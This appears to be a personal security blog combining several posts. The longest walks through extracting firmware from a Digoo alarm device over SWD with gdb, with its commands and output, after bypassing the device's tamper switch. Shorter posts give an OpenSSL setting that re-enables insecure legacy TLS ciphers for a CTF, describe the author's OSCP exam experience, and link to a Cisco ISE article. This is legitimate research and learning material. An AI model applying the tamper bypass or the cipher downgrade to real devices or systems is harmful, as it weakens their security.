Now that I have the lay of the land for the device (which that I outlined in my previous part of the series) the first thing I looked for is the debugging connections for the main GigaDevices processor. This processor looks to be the primary processor for the device and has the most valuable firmware. Since the board was well labeled I didn't need to use any tools like a JTAGulator or an Arduino board with the JTAGenum firmware to identify which test points are the debug interface. I was able to find the SWDIO, SWCLK, +3.3 and GND connections for the Serial Wire Debug (SWD) debug interface. This is the same interface that STM32 chips utilize and it provides similar functionality as a "standard" JTAG interface.

Serial Wire Debug (SWD) is a 2-pin (SWDIO/SWCLK) electrical alternative JTAG interface that has the same JTAG protocol on top. SWD uses an ARM CPU standard bi-directional wire protocol, defined in the ARM Debug Interface v5. This enables the debugger to become another AMBA bus master for access to system memory and peripheral or debug registers.

https://www.silabs.com/community/mcu/32-bit/knowledge-base.entry.html/2014/10/21/serial_wire_debugs-qKCT

In the image below you can see the debug test points along with the with wires soldered to them to connect to my debugger. The proximity of these test points to the GD32F105 processor, it is a good assumption that they are for that chip.

As a bonus also pictured is my wire soldered around the switch on the upper left to bypass the intrusion detection function.

For this project, I soldered wires to most of the test points across the board. This board has a ton of test points that maybe be useful to monitor signals over the course of this project. To manage the wiring for all of the test points on this project I created a test jig to keep the setup organized. The next picture shows my test setup.

The firmware extraction setup

This jig was inspired by some tweets long ago by cybergibbons where he recommended doing something similar. Once all of the test wires were in place, I hooked up my ARM debugger of choice the Black Magic Probe (BMP) from 1BitSquared and the process to started to extract the firmware.

Initially, I tried to power the board using the BMP but I found that the BMP was not able to provide enough power to the board to support the minimum number of peripherals. The BMP can only supply 100mA of power. Some lights would come on but gdb would not detect any devices connected. I ended up adding the USB connection you see in the photo to provide more power to the board.

Now that everything is powered and connected I was able to use gdb to attach to the board and dump the firmware of the device.

Extracting the firmware: gdb

The first step is to attach my local arm gdb build to the Blackmagic Probe which acts as a remote gdb server. I always find the Useful GDB commands wiki page in the BMP wiki to be very useful in refreshing my memory. The syntax and terminal output I started with are:

╭─locutus@theborgcube ~/Projects/RE-Digoo_DG-HOSA
╰─$ arm-none-eabi-gdb -ex "target extended-remote /dev/tty.usbmodemC2D9BBC31"
 GNU gdb (GNU Tools for ARM Embedded Processors) 7.10.1.20160616-cvs
 Copyright (C) 2015 Free Software Foundation, Inc.
 License GPLv3+: GNU GPL version 3 or later http://gnu.org/licenses/gpl.html
 This is free software: you are free to change and redistribute it.
 There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
 and "show warranty" for details.
 This GDB was configured as "--host=x86_64-apple-darwin10 --target=arm-none-eabi".
 Type "show configuration" for configuration details.
 For bug reporting instructions, please see:
 http://www.gnu.org/software/gdb/bugs/.
 Find the GDB manual and other documentation resources online at:
 http://www.gnu.org/software/gdb/documentation/.
 For help, type "help".
 Type "apropos word" to search for commands related to "word".
 /Users/locutus/.gdbinit:1: Error in sourced command file:
 No symbol table is loaded.  Use the "file" command.
 Remote debugging using /dev/tty.usbmodemC2D9BBC31
 (gdb) monitor
 Black Magic Probe (Firmware v1.6.1-1-g74af1f5) (Hardware Version 3)
 Copyright (C) 2015  Black Sphere Technologies Ltd.
 License GPLv3+: GNU GPL version 3 or later http://gnu.org/licenses/gpl.html
 (gdb) monitor swdp_scan
 Target voltage: 3.3V
 Available Targets:
 No. Att Driver
  1      STM32F1 high density
 (gdb) attach 1
 Attaching to Remote target
 0x08007b46 in ?? ()
 (gdb) dump binary memory firmware.bin 0x08000000 0x080FFFFF
 Cannot access memory at address 0x8080000

When I ran into the error at the end of the terminal output I was a bit confused until I looked at this memory layout of the chip in the datasheet and saw that I was overrunning the size of the first flash memory bank.

datasheet

After I adjusted the GDB dump command...

(gdb) dump binary memory firmware.bin 0x08000000 0x0807FFFF
(gdb)

...success!

╭─locutus@theborgcube ~/Projects/RE-Digoo_DG-HOSA
╰─$ ls -l firmware.bin
 -rw-r--r--  1 locutus  staff  524287 Nov 16 14:13 firmware.bin

I now have a copy of the firmware we can do some initial analysis of it.

Initial Analysis

First thing first like with any binary I start by running strings to get some hints on the contents of the binary and make sure it is a valid dump. I found a ton of strings showing this is a valid dump of the firmware, most notably the same markings on the board showing up in the firmware:

PCB:PG-103 VER2.3/FIRMWARE: 103-2G-J

and other strings indicate that they are using the Real-Time Operating system (RTOS) OS-III (link2) as the operating system. The Micrium site does not specifically list the Gigadevices chip in the supported just the general ARM Cortex-M3 cores as supported.

Seeing this let me know that reversing this firmware will be much more complex then I had hoped. The RTOS will add a lot of scheduling and random functions to look into. After this initial investigation, it is time to load the firmware into Radare. I used the following command when loading it up:

r2 -a arm -b 16 -m 0x0800c000 firmware.bin

This syntax sets the proper processor (-a) and CPU register size (-b) and starting memory location (-m). Once loaded I run an initial analysis job to see what Radare finds.

[0x0800c000]> aaa
 [x] Analyze all flags starting with sym. and entry0 (aa)
 [x] Analyze function calls (aac)
 [x] find and analyze function preludes (aap)
 [x] Analyze len bytes of instructions for references (aar)
 [x] Check for objc references
 [x] Check for vtables
 [x] Finding xrefs in noncode section with anal.in=io.maps
 [x] Analyze value pointers (aav)
 [x] Value from 0x0800c000 to 0x0808bfff (aav)
 [x] 0x0800c000-0x0808bfff in 0x800c000-0x808bfff (aav)
 [x] Emulate code to find computed references (aae)
 [x] Type matching analysis for all functions (aaft)
 [x] Use -AA or aaaa to perform additional experimental analysis.

[0x0800c000]> afl |wc -l
      844

Radare found 844 functions without any hints or adjustments. In some of the work I have already done, there are even more than 844 functions. Now that I have a copy of the firmware, I've dived in and started analyzing the firmware which as of writing is still a work in progress. As I get further along I will cover some of the techniques I am using to take apart this firmware.

Enabling old TLS / SSL ciphers in OpenSSL

I was reminded of this tip during the CTF at a recent DC207 meetup. This config change is needed on machines with modern versions of OpenSSL that have disabled the older ciphers. The issue is that the old TLS, SSL and associated cipher suites have become insecure and support is subsequently dropped in OpenSSL.

For a workaround to this, you can edit the following lines at the bottom of /etc/ssl/openssl.cnf

[system_default_sect]
 MinProtocol = TLSv1
 CipherString = DEFAULT@SECLEVEL=1

It may be required to comment out similar lines in the config if they already exist.

My OSCP Experience

What is the OSCP

Offensive Security Certified Professional (OSCP) is an entry-level hands-on penetration testing certification. The OSCP is one of a few certifications by Offensive Security. It consists of the self-study Penetration Testing Training with Kali Linux (PwK) class and an online proctored practical exam.

The course costs at minimum $800 USD and includes 30 days of lab access and one OSCP exam attempt. There are packages that include longer lab access and you can extend your lab access if you find you need longer to prepare.

What ISN’T the OSCP

  • Current methods and techniques
  • It won’t make you a l33t hax0r, but you will learn fundamentals

How long did you study?

I started working on it on Sept 2018, then life and the holidays got in the way of dedicated study time. I kept slowly and intermittently practicing until April 2019 when I REALLY started to get serious about completing the OSCP. This started crunch time. I am lucky that my partner was on board with me locking my self away to focus on labbing. I took the exam on May 9th 2019.

How did you do to study?

I started by going through both the Offensive Security’s Penetration Testing with Kali Linux (PwK) workbook and then watching the associated videos. They are both fantastic resources providing a solid base of knowledge you need for the exam. I had the printed out the PwK workbook printed out and bound to save my eyes from staring at a screen. Through all my studies, I took a lot of notes. I used these notes when working on machines in the lab, exam, and other CTF style boxes I worked. Below are copies of the notes I created while studying.

Once I completed the workbook and videos, it was time to sit down and start to work on machines in the Lab. While working on the labs I began to branch out and gather and learn from various sources across the internet. As I worked through the lab and got closer to my date, I started to focus on my weak topics for me that were Windows Exploitation and Windows Privilege Escalation. I have added some of the main links and books I used to study, there are many more links in my notes.

Links

Books

  • Penetration Testing: A Hands-On Introduction to Hacking - Georgia Weidman
  • The Hacker Playbook: Practical Guide To Penetration Testing - Peter Kim
  • The Hacker Playbook 2: Practical Guide To Penetration Testing - Peter Kim
  • Hacking: The Art of Exploitation - Jon Erickson

OMG the Exam…

The OSCP exam is a practical test that is 24 hours of hacking in a mock environment attempting to break into various targets. You will then have another 24 hours to write a report based on your findings from the exam. To obtain your OSCP you must submit a report I'll talk more about the report later. The Exam is proctored, you will run software that will capture your screen and webcam, both of which will also be monitored by one or more proctors. There are limits to the tools you can during the Exam:

Spoofing (IP, ARP, DNS, NBNS, etc)
Commercial tools or services (Metasploit Pro, Burp Pro, etc.)
Automatic exploitation tools (e.g. db_autopwn, browser_autopwn, SQLmap, SQLninja etc.)
Mass vulnerability scanners (e.g. Nessus, NeXpose, OpenVAS, Canvas, Core Impact, SAINT, etc.)
Features in other tools that utilize either forbidden or restricted exam limitations
You are limited to use Metasploit once during the lab

https://support.offensive-security.com/oscp-exam-guide/

These limitations are an example of why it is important to fully read through the exam guide and reporting template to make sure you have all the proofs and meet the reporting requirements. These guides are found at the following links:

Lab and Exam Reporting Info: https://support.offensive-security.com/pwk-reporting/
OSCP Exam Guide: https://support.offensive-security.com/oscp-exam-guide/
Proctoring FAQ: https://support.offensive-security.com/proctoring-faq/

My exam agenda

When planning for my Exam I created a high-level schedule to follow. This is an important and way for me to get organized. My exam started at 9:00 am allowing me to follow a similar routine to what I do normally.

  • Wake up … Breakfast
  • Connect to Proctor and follow preocess - 15 mins before start
  • Receive access details and connect to VPN - 15 mins
  • Read requirements and write down in notes - 30 - 45 mins
  • Initial Enumeration of targets - 1 hour
  • Hack Away!
  • Eat Lunch
  • Hack…
  • Eat Dinner
  • Probably still Hack…..

Exam Tips and Tactics

This is a list of various mostly non-technical tips I have for when taking the Exam. When reading through people's challenges on Reddit, Twitter and Blog posts I saw a lot of people ran into less than technical issues when taking their Exams.

  • I'll repeat this here make sure you read through the exam guide and reporting template to make sure you have all the proofs and meet the reporting requirements!
  • Attempt to limit distractions and find ways to go into flow
  • Manage your Time Management wisely
    • I used Pomodoro to help divide up my day. This method is ~25 minutes working, take a 5-minute break, repeat. I changed targets on each cycle if I was not making progress and was just grinding away on a machine. This method helped me getting stuck on one machine for extended periods of time.
  • Keep a timeline of the day
    • This will help you reference and screenshots or recordings you created later.
  • You are your own worst enemy: Avoid going down a rabbit hole
    • Breath…go for a walk…pet a cat…Have a snack...
  • Enumerate Enumerate Enumerate
    • If you are not finding your way into a system or the way to escalate privilege, enumerate more.
  • Screenshot, Screen record, track everything! This will take the stress off of creating the report the next day.

Reporting

There are two topics when it comes to reporting there is the Lab report and the Exam report. Offensive Security provides a guide for reporting at the following URL: https://support.offensive-security.com/pwk-reporting/. This contains some templates and some recommendations on how to manage data.

One of the first questions people ask is if I did the Lab report. I decided not to do the Lab report, it only worth 5 points, and I did not find that the time to create the report was worth it for me. However, I did write a mock report to practice ahead of the Exam. The made sure that my first Exam reporting experience was not during the Exam when I would be exhausted.

When it comes to my Exam report, I started my report after I had finished my Exam but has not closed out with my proctor and start to create a very very very rough document with the screenshots and other content. I did this to make sure I had satisfied all of the requirements and it would let me go back and recreate or regather any Proofs I may have missed. After I thought I had everything and the adrenalin had started to wear off I went to sleep and got started the next day and finished the document throughout the next day.

In Closing

  • The OSCP was a great experience and very challenging
  • There is a lot to learn
  • Make sure significant people in your life understand the time commitment
  • ABL, Always Be Labbing
  • Have fun, good luck, and #tryharder

Link: Exploring Key Features of Cisco ISE Release 2.6

In July I wrote for the CDW blog about the new version of the Cisco Identity Services Engine (ISE) software.

Exploring Key Features of Cisco ISE Release 2.6

The latest version of this cybersecurity tool offers unique device identification and an IoT protocol.